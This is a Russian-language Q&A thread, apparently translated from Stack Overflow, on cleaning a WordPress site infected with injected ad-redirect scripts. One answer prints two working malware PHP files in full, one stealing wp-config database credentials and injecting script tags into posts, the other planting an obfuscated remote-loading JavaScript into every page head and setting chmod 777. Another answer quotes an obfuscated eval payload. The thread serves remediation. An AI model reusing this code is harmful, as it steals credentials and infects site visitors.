Как удалить скрипт, введенный на сайте WordPress: ads.voipnewswire.net? - PullRequest
0 голосов
/ 11 сентября 2018

Мой сайт WordPress повсюду содержит эти скрипты, я удалил многие из них, но перенаправление на некоторые вредоносные объявления все еще продолжается.

Кто-нибудь знает, как это исправить?

Скрипты имеют эту ссылку: ads.voipnewswire.net

Ответы [ 5 ]

0 голосов
/ 18 мая 2019

Наиболее распространенной проблемой является внедрение в таблицу wp_options, столбец, который выглядит как

eval(String.fromCharCode(118, 97, 114, 32, 100,

Так что, чтобы найти этот первый экспорт вашей базы данных, откройте ее с помощью редактора и найдите строку "eval (String).fromCharCode (118, 97, 114, 32, 100, ", следующий шаг - удалить строку с этой строкой из базы данных, скорее всего, вы найдете ее в таблице wp_options

0 голосов
/ 28 сентября 2018

Я помогал другу с этой проблемой и решил помочь сообществу с опытом, который у меня был для решения этой неприятной вредоносной программы в файлах WordPress, я обнаружил, что вредоносная программа внедряется в одну из папок в моем случае / wp-content/ uploads / папка в виде файла без расширения.

Я обнаружил два файла (php-файлы):

первый файл предоставляет «wp-config.php» со всеми ключами и данными БДи вставляет сценарий examhome.net в таблицу post_content - ниже приведен код.

    <?php echo ":#009009#:";
    $file_to_search = "wp-config.php";

    @search_file($_SERVER['DOCUMENT_ROOT']."/../../../../..",$file_to_search);
    @search_file($_SERVER['DOCUMENT_ROOT']."/../../../..",$file_to_search);
    @search_file($_SERVER['DOCUMENT_ROOT']."/../../..",$file_to_search);
    @search_file($_SERVER['DOCUMENT_ROOT']."/../..",$file_to_search);
    @search_file($_SERVER['DOCUMENT_ROOT']."/..",$file_to_search);
    @search_file($_SERVER['DOCUMENT_ROOT'],$file_to_search);

    function search_file($dir,$file_to_search){

    $files = scandir($dir);

    foreach($files as $key => $value){

        $path = realpath($dir.DIRECTORY_SEPARATOR.$value);

        if(!is_dir($path)) {
            if (strpos($value,$file_to_search) !== false) {

                show_sitenames($path);



            }

        } else if($value != "." && $value != "..") {

            search_file($path, $file_to_search);

        }  
     } 
    }

    echo ":#009009#:";



    function show_sitenames($file){
        $content = @file_get_contents($file);
        if(strpos($content, "DB_NAME") !== false) {


        $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
        $host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
        $user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
        $pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);


    // Create connection
    $conn = new mysqli($host, $user, $pass);

    // Check connection
    if ($conn->connect_error) {
      echo $conn->connect_error;
    } else { 


    $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
    $result = $conn->query($q);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]."  LIMIT 1 ";
        $result2 = $conn->query($q2);
        if ($result2->num_rows > 0) {
            while($row2 = $result2->fetch_assoc()) {
                $val = $row2['post_content'];
                if(strpos($val, "examhome") === false){

                    echo "nothing:".$file."\n";

                    $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://cdn.examhome.net/cdn.js?ver=1.0.88' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%examhome%'";
                    $conn->query($q3);

                } else {

                    echo "already exist:".$file."\n";
                }
            }
        } else {
        }
        }
    } else {
    }
    $conn->close();
    }
    }
    }

    function get_var_reg($pat,$text) {

        if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
        {
            return $matches[1][0];
        }

        return "";
    }


    exit();

И второй исполняемый файл вводит приведенный ниже код (сценарий js) в файлы js рекурсивно в "голову"раздел везде.Сценарий также изменяет права доступа к файлам на 777, что означает чтение и запись

На этом этапе ваша система уже взломана, и не имеет значения, сколько раз вы удаляете сценарий из файлов, к которым у них есть полный доступсистема из-за деталей "wp-config.php", которые ранее были скомпрометированы, что означает, что теперь они могут обращаться к вашему wp-admin.

<?php $a = 'find / -type f -name "*" | xargs grep -rl "<head"';
$l1 = '<script language=javascript>var _0xfcc4=["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x61\x73\x79\x6E\x63","\x69\x64","\x63\x64\x6E\x37\x38\x39","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x6C\x65\x6E\x67\x74\x68"];var url=String[_0xfcc4[0]](104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 108, 101, 97, 114, 110, 105, 110, 103, 116, 111, 111, 108, 107, 105, 116, 46, 99, 108, 117, 98, 47, 108, 105, 110, 107, 46, 112, 104, 112, 63, 118, 101, 114, 61, 49);var get_text=function httpGet(_0x3bc1x4){var _0x3bc1x5= new XMLHttpRequest();_0x3bc1x5[_0xfcc4[2]](_0xfcc4[1],_0x3bc1x4,false);_0x3bc1x5[_0xfcc4[3]](null);return _0x3bc1x5[_0xfcc4[4]]};var text=get_text(url);if(text!= String[_0xfcc4[0]](110,117,108,108)&& text[_0xfcc4[5]](String[_0xfcc4[0]](104,116,116,112,115,58,47,47))>  -1){var a=function(){var _0x3bc1x8=document[_0xfcc4[6]](String[_0xfcc4[0]](115,99,114,105,112,116));_0x3bc1x8[_0xfcc4[7]]= String[_0xfcc4[0]](116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);_0x3bc1x8[_0xfcc4[8]]= true;_0x3bc1x8[_0xfcc4[9]]= _0xfcc4[10];_0x3bc1x8[_0xfcc4[11]]= text;document[_0xfcc4[13]](String[_0xfcc4[0]](104,101,97,100))[0][_0xfcc4[12]](_0x3bc1x8)};var scrpts=document[_0xfcc4[13]](_0xfcc4[14]);var n=true;for(var i=scrpts[_0xfcc4[15]];i--;){if(scrpts[i][_0xfcc4[9]]== _0xfcc4[10]){n= false}};if(n== true){a()}}</script>';



$t = shell_exec($a);
$t = explode("\n", trim($t));
foreach($t as $f){

$g = file_get_contents($f);
if (strpos($g, '0xfcc4') !== false) {
   echo "e:".$f;
} else {
$g = file_get_contents($f);
$g = str_replace("<head>","<head>".$l1,$g);
$g = str_replace("</head>",$l1."</head>",$g);
@system("chmod 777 ".$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, '0xfcc4') !== false) {
   echo $f;
} 
}
}
echo ":#009009#:";

Важно, чтобы вы не использовали плагин дубликатора, как кажетсяу него есть дыра SQL-инъекции, если она есть в вашей системе, удалите ее.Вы можете использовать команду grep для идентификации зараженных файлов, например:

  • sudo grep -rl "examhome.net" / var / www / html / |далее

  • sudo grep -r "eval (String.fromCharCode (118, 97" / var / www / html / | more

  • и, наконец, использование grepС помощью команды sed вы можете идентифицировать и заменить зараженный код пробелом.

Я действительно надеюсь, что это может помочь другим решить эту проблему, это не окончательное решение, так как этот вредоносный червь обновляется, и явсе еще исследует эту проблему.

Дейв

Отказ от ответственности: Использование информации в этом посте - ваша ответственность только!

0 голосов
/ 12 сентября 2018

Вы можете следовать этому подходу, но будьте осторожны:

сначала создайте резервную копию вашей базы данных WordPress, затем откройте этот файл backup.sql в любом редакторе кода, таком как notepad ++ и т. Д., Затем найдите строку, например "https://s2.voipnewswire.net/s2.js\' type = \ 'text / javascript \'>", и замените все ее вхождения с пустым пространством ваша проблема решена.

теперь вредоносный скрипт удаляется из всего содержимого вашего сайта WordPress, и то же самое вы можете сделать для других файлов вашего сайта.

0 голосов
/ 18 сентября 2018

У меня была такая же проблема на двух моих страницах этим утром, и после тщательного изучения моих файлов и БД я обнаружил, что вредоносная программа изменила мои js-файлы, добавив зашифрованный скрипт и добавив еще один скрипт в конце каждогосообщение в таблице wp_posts на моей БД.

Я решил проблему в основном с двумя шагами:

Первый: перейти к вашей БД (Mysql) с PHPMyadmin или любымклиент и введите:

UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://cdn.examhome.net/cdn.js?ver=1.0.5' type='text/javascript'></script>", " ")

, что он делает, чтобы удалить все случаи внедрения вредоносных программ в вашу таблицу.

Примечание:"? ver = 1.0.5 «Часть поиска может измениться, проверьте код своей страницы с помощью« Ctrl + U », когда он начинает загружаться, и перед перенаправлением найдите« cdn.examhome.net »или« ads.voipnewswire.net »или« eval (String.fromCharCode ... "и проверьте версию вредоносной программы js, чтобы изменить ее в приведенном выше запросе базы данных.

Второй: перейдите в файловый менеджер и сожмите все свои файлыв архиве или аналогичном. скачать сжатый файл и эксна вашем компьютере, используйте Notepad ++ (может помочь sublimetext и другие, но я рекомендую Notepad ++) и используйте расширенный поиск в этом каталоге, чтобы заменить его во всех документах на пустое или пробел:

этоизображение того, как замена выглядит в Notepad ++ (на испанском языке)

eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 52, 54, 44, 32, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 32, 125));

Примечание: числа внутри могут меняться, но они всегда начинаются с eval (String.fromCharCode (и не волнуйтесь, ни один из основных js WordPress или плагина не использует это, так что вы можете искать любое совпадение и копировать числа внутри, чтобы завершить оператор замены.

, затем сжать его снова, удалить все вашиpublic_html, загрузите файл сжатия и извлеките его в корень public_html, и все готово.

После этого все вернулось в норму для двух моих страниц Wordpress, надеюсь, это поможет вам.Удачи!

0 голосов
/ 11 сентября 2018

Поскольку очевидно, что вы были взломаны, я сначала рекомендовал бы вернуться к резервной копии сайта до ее взлома (если она у вас есть).

Далее я бы порекомендовал изменить все ваши пароли для сайта (хостинг, ftp, база данных, Wordpress и т. Д.).

Если у вас нет резервной копии, я бы проверил ее, проверивкаждый файл PHP (и, возможно, Javascript) в вашей установке Wordpress (включая плагины и шаблоны), чтобы узнать, есть ли другие места, которые включают это, помещается на сайт.

Наконец, если у вас нет резервной копии, я бы осмотрел все посты, страницы и комментарии, чтобы убедиться, что в контент не было добавлено ни одного включения (просто чтобы быть уверенным).

...